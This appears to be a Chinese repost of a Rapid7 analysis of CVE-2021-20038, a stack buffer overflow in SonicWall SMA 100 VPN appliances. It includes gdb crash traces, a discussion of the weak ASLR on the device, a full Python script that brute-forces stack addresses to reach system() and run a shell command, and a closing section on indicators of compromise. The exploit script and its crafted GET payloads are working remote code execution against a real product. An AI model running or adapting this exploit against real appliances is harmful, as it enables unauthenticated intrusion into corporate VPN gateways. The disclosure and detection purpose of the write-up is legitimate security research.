CVE-2021-20038

原创

Khan安全团队

发布于 2022-01-13 21:53:12

1.1K0

发布于 2022-01-13 21:53:12

描述

2021 年 12 月 7 日，SonicWall 为其安全移动访问 (SMA) 100 系列发布了新固件。SonicWall 于 2022 年 1 月 11 日发布安全公告，通知用户 12 月发布了 Rapid7 发现的已修复安全问题。最关键的问题是 Web 界面中未经身份验证的基于堆栈的缓冲区溢出，允许远程攻击者以nobody用户身份执行任意代码。该漏洞的编号为 CVE-2021-20038，CVSS 评分为9.8。

在此 AttackerKB 发布之前，不存在公开的概念证明漏洞利用。但是，此条目包含概念证明漏洞利用和关于制作有效负载以实现未经身份验证的远程代码执行的扩展讨论。尚不清楚此问题是否已在野外被利用。

受影响的产品

SMA 100 系列的以下固件版本受到影响：

10.2.1.2-24sv 及更早版本
10.2.1.1-19sv 及更早版本
10.2.1.0-17v 及更早版本

9.x 或 10.2.0.x 版本均不受影响。

Rapid7 分析

请注意，本分析中讨论的偏移量和地址来自 SMA 10.2.1.1-19sv，它们在版本之间可能略有不同。

CVE-2021-20038 是发生在httpd二进制文件中的基于堆栈的缓冲区溢出。SonicWall SMA 100 系列使用 Apache HTTP 服务器的修改版本。SonicWall 的一项修改引入了此漏洞。问题出在环境变量如何在mod_cgi.so. 因为攻击者提供的QUERY_STRING不受任何类型的长度检查，攻击者可以通过strcat.

过长的 QUERY_STRING 还会导致将来对缓冲区的边界检查由于整数溢出而失败，从而导致一系列strcat调用进一步超出基于堆栈的缓冲区的边界。

以下 curl 命令演示了使 HTTP 服务器崩溃：

albinolobster@ubuntu:~$ curl --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
curl: (52) Empty reply from server

从gdb最终的strcat调用来看，如下所示。请注意，易受攻击的缓冲区从 0xbfb6ae42 开始，并且应该限制为 400 字节。

Breakpoint 1, 0xb69a88c3 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a88c3,0xb69a88c8
Dump of assembler code from 0xb69a88c3 to 0xb69a88c8:
=> 0xb69a88c3:  call   0xb69a6a0c <strcat@plt>
End of assembler dump.
(gdb) x/2wx $esp            	 
0xbfb6acc0: 	0xbfb6ae42  	0x0969e9a8
(gdb) printf "%s\n", 0xbfb6ae42  
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET
(gdb) printf "%s\n", 0x0969e9a8  
REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb)

溢出导致由于无效的内存访问而发生的崩溃。

Program received signal SIGSEGV, Segmentation fault.
0xb69a8fe9 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a8fe6,0xb69a8ff9
Dump of assembler code from 0xb69a8fe6 to 0xb69a8ff9:
   0xb69a8fe6:  mov	0x8(%ebp),%eax
=> 0xb69a8fe9:  mov	0x110(%eax),%eax
   0xb69a8fef:  movl   $0x2000,0x10(%esp)
   0xb69a8ff7:  movl   $0x0,0x14(%esp)
End of assembler dump.
(gdb) print $eax
$1 = 1094795585
(gdb) x/1wx $eax            	 
0x41414141: 	Cannot access memory at address 0x41414141
(gdb) bt
#0  0xb69a8fe9 in ?? () from /lib/mod_cgi.so
#1  0x41413f2f in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()

在上面的 GDB 输出中，您可以看到mod_cgi.so尝试取消引用已存储在的指针$ebp+8，但它获得了无效的地址0x41414141or AAAA。这是我们在 curl 消息中发送的“有效负载”的一部分。事实上，我们可以回顾一下$ebp-982溢出缓冲区的整个环境数组：

(gdb) printf "%s\n", $ebp-982
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.html

mod_cgi.so正在尝试加载*(*($ebp+8)+0x110)，以便将其作为第一个参数传递给ap_get_brigade：

ap_get_brigade是一个普通的 Apache httpd函数，所以我们可以很容易地查到源代码：

AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t *next,
                                        apr_bucket_brigade *bb,
                                        ap_input_mode_t mode,
                                        apr_read_type_e block,
                                        apr_off_t readbytes)
{
    if (next) {
        return next->frec->filter_func.in_func(next, bb, mode, block,
                                               readbytes);
    }
    return AP_NOBODY_READ;
}

我们用缓冲区溢出覆盖的参数是第一个参数：ap_filter_t* next. 如果该指针不为空，则该指针用于调用存储在内存中的函数。理论上，由于攻击者重写了这个指针，他们可以控制被调用的函数，从而导致未经身份验证的远程代码执行。

编写 RCE 漏洞利用

在正常情况下，通常会通过使用ret返回到攻击者选择的地址来利用像这样的基于堆栈的缓冲区溢出。然而，由于逻辑流入的方式mod_cgi.so，攻击者无法在ret不首先遇到一系列不可避免的潜在内存访问违规的情况下达到可控。因此，最可行的利用向量是通过控制函数调用ap_get_brigade。

在我们讨论编写漏洞利用之前，我们需要了解部署在系统上的漏洞利用缓解措施，尤其httpd是如何受到它们的影响。

root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space                                                                                                                                               
2

在这里，我们可以看到 SonicWall SMA 100 系列支持全地址空间布局随机化(ASLR)，这意味着我们应该期望堆栈、堆、库和主可执行文件都加载到随机地址。

然而，有一些事情httpd会削弱 ASLR。首先是主可执行文件 ,httpd没有编译为位置无关的可执行文件，因此它不会使用随机基地址加载。它会在0x8048000每次加载时都可以预见。

root@sslvpn:~ # cat /proc/                                                                                                                                                                  	 
26775 /maps 08048000-080e0000 r-xp 00000000 01:00 100949  	/usr/src/EasyAccess/bin/httpd
080e0000-080e3000 rw-p 00098000 01:00 100949  	/usr/src/EasyAccess/bin/httpd
080e3000-080e6000 rw-p 00000000 00:00 0

此外，httpd服务器使用 Apache 的prefork特性。

root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l                                                                                                                                                     	 
Compiled in modules:
  core.c
  mod_so.c
  http_core.c
  prefork.c

这意味着httpd 分叉了一系列子进程来处理传入的 HTTP 请求。这很重要，因为分叉的子进程具有与父进程完全相同的内存布局。这意味着所有子进程都将具有与父进程完全相同的堆栈、堆和库地址。而且，也许同样需要注意的是，当一个子进程崩溃时，主httpd可执行文件只是派生一个新的来替换它。这为攻击者提供了猜测有效地址的机会。

开发利用ap_get_brigade从我们溢出一定的挑战，它需要三个解引用和一个漂亮的特定内存布局来控制函数调用。我们确实编写了一个小程序来寻找此类小工具，并最终找到了一些但它们无法使用（例如，只是导致了新的令人沮丧的内存访问违规）。

如果没有现有的小工具，我们需要自己将所需的模式引入系统。这意味着在堆或堆栈中获取模式，并正确猜测它的位置。对于堆空间httpd实际上是相当大的，而攻击者可以得到一个可利用的模式进入堆内存，预测，uClibc的可能地址的malloc它不是我们想承担（尽管很可能是可行的）的练习。这让我不得不将可利用的模式引入堆栈。

在这种情况下使用堆栈有几个好处。第一个是，因为httpd是一个 32 位的可执行文件，堆栈的顶部地址只有 11 位的随机性应用于它。

字节 1	字节 2	字节 3	字节 4
0xbf	最高位始终设置	页面对齐的最低 4 位始终为 0	页面对齐（又名 0）

这意味着我们知道堆栈的顶部地址将始终在 0xbf800000 到 0xbffff000 的范围内。这将潜在的堆栈顶部地址缩小到 2047 个可能性。当然，然后我们需要猜测实际$ebp+8覆盖的地址才能实现我们的漏洞利用。但是，我们知道这将接近该范围的顶部。如果我们天真地为每个栈顶地址暴力破解 0x2000 地址范围，那么我们应该在 1600 万个 HTTP 请求中成功猜出正确的地址。

1600万是这么多的要求！确实是。但请记住，这只是一种幼稚的方法，可能会被需要它着陆的人大大改进。我们只是确定这是可能的。但是我们仍然可以再减少一点。我们知道我们的目标地址将始终与0. 这将所需请求的数量减少到 100 万个 HTTP 请求。

精明的读者和经验丰富的漏洞利用开发人员可能会指出，我们可以通过在有效负载中一遍又一遍地重复漏洞利用来进一步减少请求数量。好主意！不幸的是，我们必须应对各种限制我们重复利用的能力的因素：

QUERY_STRING 没有得到 url 解码，所以我们不能（合理地）使用漏洞利用的最大部分来实际……利用。
请求的页面确实得到了 URL 解码，但在大小和解码 %00 方面存在限制。
基于堆栈的缓冲区溢出发生在非常接近堆栈顶部的位置，以至于超过 1700 字节的漏洞利用可能会通过访问顶部地址 +1 或简单地覆盖我们稍后可能需要的全局变量（例如 env[ ] 调用时system）。
一堆无趣、无用或重复的环境变量超出了我们的控制范围，占据了 1700 字节中的大部分。

鉴于这些限制，我们编写了一个漏洞利用程序，试图通过发送所有约 100 万个 HTTP GET 请求来暴力破解可利用地址。再次需要强调的是，这可以大大改善，以下仅作为“这是可能的”类型的东西。

import socket
import ssl
import time

base = 0xbf800000
curr = base
step = 0x1000
base_array = []
while curr != 0xbffff000:
	base_array.append(curr)
	curr += step

print("Generated " + hex(len(base_array)) + " stack top addr")

all_array = []
for base in base_array:
	search_start = base - 0x2800
	search_end = base - 0x0800
	curr = search_start
	while curr != search_end:
    	curr += 0x10
    	all_array.append(curr)

print("Generated " + hex(len(all_array)) + " search addresses")

print("Sending sploits...")
for address in all_array:
	print(hex(address), end='\r')
	address -= 0x110
	address += 4
	# transform bytes into url encoded
	one = (address >> 24) & 0x000000ff
	two = (address >> 16) & 0x000000ff
	three = (address >> 8) & 0x000000ff
	four = (address & 0x000000ff)

	if one == 0 or two == 0 or three == 0 or four == 0:
    	# the server won't accept a null byte
    	continue

	addr_one = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))

	address += 0x110
	address += 4

	# transform bytes into url encoded
	one = (address >> 24) & 0x000000ff
	two = (address >> 16) & 0x000000ff
	three = (address >> 8) & 0x000000ff
	four = (address & 0x000000ff)
    
	if one == 0x28 or two == 0x28 or three == 0x28 or four == 0x28:
    	# oh no the guy that wrote this is a hack! Should have
    	# shifted the payload so meta characters wouldn't matter.
    	# oh well :(
    	continue

	addr_two = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))
	system_addr = b"%64%b8%06%08"
	shell_cmd = b";{touch,/tmp/lol};"

	#payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"%64%b8%06%08") + b";{touch,/tmp/lol};")*2
	exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd

	payload = exploit*2
	spray_pray = b"/" + payload + b"?" + (b'z'*518)
	request = b'GET ' + spray_pray + b'\r\n\r\n'

	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	wrappedSocket = ssl.wrap_socket(sock)

	wrappedSocket.connect(("10.0.0.7", 443))
	wrappedSocket.send(request)
	wrappedSocket.recv(1280)
	wrappedSocket.close()

该漏洞利用最有趣的部分是生成 GET 请求。例如，对于 HTTP 服务器来说，它看起来像这样：

GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f ％BF％18％D8％7F％BF％18％D8％7F％BF％64％B8％06％08; {触摸，/ TMP /洛尔} ;? zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

漏洞利用负载（重复两次，尽管漏洞利用没有利用这一点）是四个地址和一个要传递给系统的字符串：

0xbf7fd704
0xbf7fd818
0xbf7fd818
0x0806b864
;{触摸,/tmp/lol};

第一个地址，当添加 0x110 并取消引用时，将解析为第二个地址。取消引用时，第二个地址指向第三个地址，第三个地址加上四个指向第四个地址，这将解析为对system. 传递给的字符串system从 0xbf7d818 开始，因此在/bin/sh到达之前有一些坏字符touch /tmp/lol。

在顶部堆栈地址为 0xbfb6c000 的目标上测试漏洞利用，在 4 小时 43 分钟后成功利用。

root@sslvpn:~ # 日期
Thu Nov 25 03:29:39 PST 2021 
root@sslvpn:~ # ls -l /tmp/lol 
ls: 无法访问 /tmp/lol: 没有这样的文件或目录
root@sslvpn:~ # ls -l /tmp/lol 
-rw-r--r-- 1没有人没有人0 Nov 25 08:05 /tmp/lol

如您所见，攻击者获得执行为nobody.

上面的漏洞利用是不好的，原因有很多。一些如下：

可以使用重复模式来猜测一个 HTTP 请求中的多个地址。
可以使用较小的扫描范围（0x800 – 0x2800 是一个非常大的范围）。
如果地址 3 中包含错误的 shell 字符（例如(），则漏洞利用会中断。

该漏洞利用还没有考虑由于以下原因可能发生的对齐问题：

目标使用的主机名不是sslvpn.
不是 8 字节长的目标 IP 和主机 IP。
不是 3 个字节长的目标端口
不是 5 个字节长的源端口。

尽管如此，仅此一项就表明，即使面临挑战，这个问题也是绝对可以利用的，应该尽快修复。我们还在更成熟的漏洞利用中解决了其中的一些问题，其中包含您可以在GitHub 上找到的武器化有效负载。

妥协指标

攻击，尤其是上面写的，相当嘈杂。寻找妥协指标的最佳位置是httpd.log. 这可以通过 Web 界面检索：系统 -> 诊断 -> 技术支持报告 -> 下载报告。该httpd.log文件将在 zip 存档中。记录的分段错误是潜在的危害迹象。这是我的系统httpd.log被利用后的一个片段：

[Thu Nov 25 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: child pid 30485 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: child pid 30486 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: child pid 30487 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: child pid 30488 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: child pid 30489 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: child pid 30490 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: child pid 30491 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: child pid 30492 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: child pid 30493 exit signal Segmentation fault (11)

实际上，攻击者可以在利用系统后不久删除此日志文件，但捕获利用尝试和未正确清理自身后的攻击者是值得的。

该status.txt日志也可能会感兴趣。具体来说，它显示ps显示所有正在运行的进程的所有输出。不幸的是，查看这个日志需要熟悉系统上应该和不应该运行的东西，这对于外行来说很难知道。在我的系统上查看这个输出，我们可以很容易地识别gdb和busybox作为异常。

Processes
-----------------------------------------------------------------
USER   	PID %CPU %MEM	VSZ   RSS TTY  	STAT START   TIME COMMAND
root     	1  0.0  0.0   2068   584 ?    	Ss   Nov27   0:42 init [3]  
root     	2  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kthreadd]
root     	3  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [ksoftirqd/0]
root     	4  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/0:0]
root     	5  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:0H]
root     	6  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/u4:0]
root     	7  0.0  0.0  	0 	0 ?    	S	Nov27   2:12 [rcu_sched]
root     	8  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [rcu_bh]
root     	9  0.0  0.0  	0 	0 ?    	S	Nov27   0:06 [migration/0]
root    	10  0.0  0.0  	0 	0 ?    	S	Nov27   0:15 [migration/1]
root    	11  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [ksoftirqd/1]
root    	13  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:0H]
root    	14  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [khelper]
root    	15  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [netns]
root   	461  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [writeback]
root   	463  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bioset]
root   	465  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kblockd]
root   	622  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [ata_sff]
root   	632  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [khubd]
root   	742  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/0:1]
root   	757  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kswapd0]
root   	758  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [ksmd]
root   	825  0.0  0.0  	0 	0 ?    	SN   Nov27   0:00 [khugepaged]
root   	826  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [fsnotify_mark]
root   	845  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [crypto]
root  	1011  0.0  0.0  	0 	0 ?    	S	Nov27   0:01 [kworker/1:1]
root  	1061  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [iscsi_eh]
root  	1065  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/0:1H]
root  	1069  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_exch_workque]
root  	1070  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fc_rport_eq]
root  	1071  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/0]
root  	1072  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fcoethread/1]
root  	1075  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_event_wq]
root  	1076  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [fnic_fip_q]
root  	1078  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_l2_threa]
root  	1079  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/0]
root  	1080  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2fc_thread/1]
root  	1107  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [scsi_eh_0]
root  	1149  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/0]
root  	1150  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bnx2i_thread/1]
root  	1197  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [bond0]
root  	1244  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cnic_wq]
root  	1246  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [cxgb4]
root  	1257  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kworker/1:2]
root  	1308  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [deferwq]
root  	1322  0.0  0.0  	0 	0 ?    	S	Nov27   0:00 [kjournald]
root  	1328  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [loop0]
root  	1407  0.0  0.0  13752  2744 ?    	Sl   Nov27   1:45 /usr/sbin/vmtoolsd
root  	1408  0.0  0.0  	0 	0 ?    	S<   Nov27   0:00 [kworker/1:1H]
root  	1435  0.0  0.0   2376   588 ?    	Ss   Nov27   0:00 /usr/sbin/fcron
root  	1447  0.0  0.4  19712 16996 pts/1	S+   03:51   0:00 ./gdb -p 30092
root  	1483  0.0  1.4  93152 59728 ?    	Sl   Nov27   0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py
nobody	1526  0.0  0.0  	0 	0 ?    	Z	03:52   0:00 [staticContent] <defunct>
root  	1551  0.0  0.2  20720 11124 ?    	Ss   Nov27   1:42 /usr/src/EasyAccess/bin/smm -d
root  	1627  0.0  0.0   1904   224 ?    	Ss   Nov27   0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com
root  	1634  0.0  0.0   2120   596 ?    	Ss   Nov27   0:00 /usr/sbin/syslogd -m 0
root  	1639  0.0  0.0   3136  1684 ?    	Ss   Nov27   0:00 /usr/sbin/klogd -c 1
root  	1712  0.0  0.0  13208  1980 ?    	Ss   Nov27   0:00 /usr/sbin/crlUpdate -d -i 1440
root  	1719  0.0  0.0  13828  1968 ?    	Ss   Nov27   0:03 htcacheclean -nti -d60 -l5M -p/var/webcache
root  	1735  0.0  0.0  13164  1740 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1737  0.0  0.0  13164  1492 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/anonySessionD
root  	1740  0.0  0.0  14320  3484 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/firebase -d
root  	1748  0.0  0.3  45472 15316 ?    	Sl   Nov27   0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js
root  	1749  0.0  0.0   2080   268 ?    	S	Nov27   0:00 cat
root  	1752  0.0  0.3  45308 15408 ?    	Sl   Nov27   0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js
root  	1760  0.0  0.0  13616  2116 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/wireguard -d
root  	1779  0.8  0.2  23468  8940 ?    	Ss   Nov27  21:47 /usr/src/EasyAccess/bin/httpd
root  	1805  0.0  0.0  13852  2556 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/ftpsession -d
root  	1811  0.1  0.0  13916  3936 ?    	S<s  Nov27   2:51 /usr/src/EasyAccess/bin/graphd -d
root  	1820  0.0  0.0  13356  1816 ?    	Ss   Nov27   0:00 /usr/src/EasyAccess/bin/rootHelper -d
root  	1832  0.0  0.0  54412  2548 ?    	Ssl  Nov27   0:04 /usr/src/EasyAccess/bin/dhcpcd -d
root  	1851  0.0  0.1  15968  5260 ?    	Ss   Nov27   0:06 /usr/src/EasyAccess/bin/nxlog -d
root  	1867  0.0  0.0  13304  3152 ?    	S	Nov27   0:00 /usr/src/EasyAccess/bin/downloadclient -d
root  	1893  0.0  0.0  13204  2512 ?    	S	Nov27   0:00 /usr/sbin/LicenseManager
root  	1894  0.0  0.0  13200  2600 ?    	S	Nov27   0:00 /usr/sbin/PKGDownload
root  	1897  0.0  0.0  13772  3708 ?    	Ss   Nov27   0:16 /usr/src/EasyAccess/bin/HA -d
root  	1922  0.0  0.1  15224  5976 ?    	Ss   Nov27   0:00 /usr/sbin/updateAgent -d
root  	1923  0.0  0.0  13172  2556 ?    	S	Nov27   0:06 /usr/sbin/watchdog
root  	1924  0.0  0.1  13708  4948 ?    	S	Nov27   0:14 /usr/sbin/swMonitor
root  	2205  0.0  0.0  	0 	0 ?    	S	Nov28   0:00 [kworker/u4:2]
root  	2379  0.0  0.0   2048   432 tty1 	Ss+  Nov27   0:00 /sbin/mingetty tty1
root  	2380  0.0  0.0   2048   432 tty2 	Ss+  Nov27   0:00 /sbin/mingetty tty2
root  	4284  0.0  0.0   1136	64 ?    	Ss   Nov27   0:00 ./busybox telnetd
root  	4301  0.0  0.0   3564  1768 pts/0	Ss+  Nov27   0:00 -cli
root  	4346  0.0  0.0   3488  1752 pts/1	Ss   Nov27   0:00 -cli
nobody   18542  0.0  0.2  25772 12268 ?    	S	07:41   0:00 /usr/src/EasyAccess/bin/httpd
nobody   21363  0.0  0.7  44288 29776 ?    	S	08:19   0:01 /usr/src/EasyAccess/bin/httpd
nobody   24039  0.0  0.7  44344 30100 ?    	S	08:55   0:00 /usr/src/EasyAccess/bin/httpd
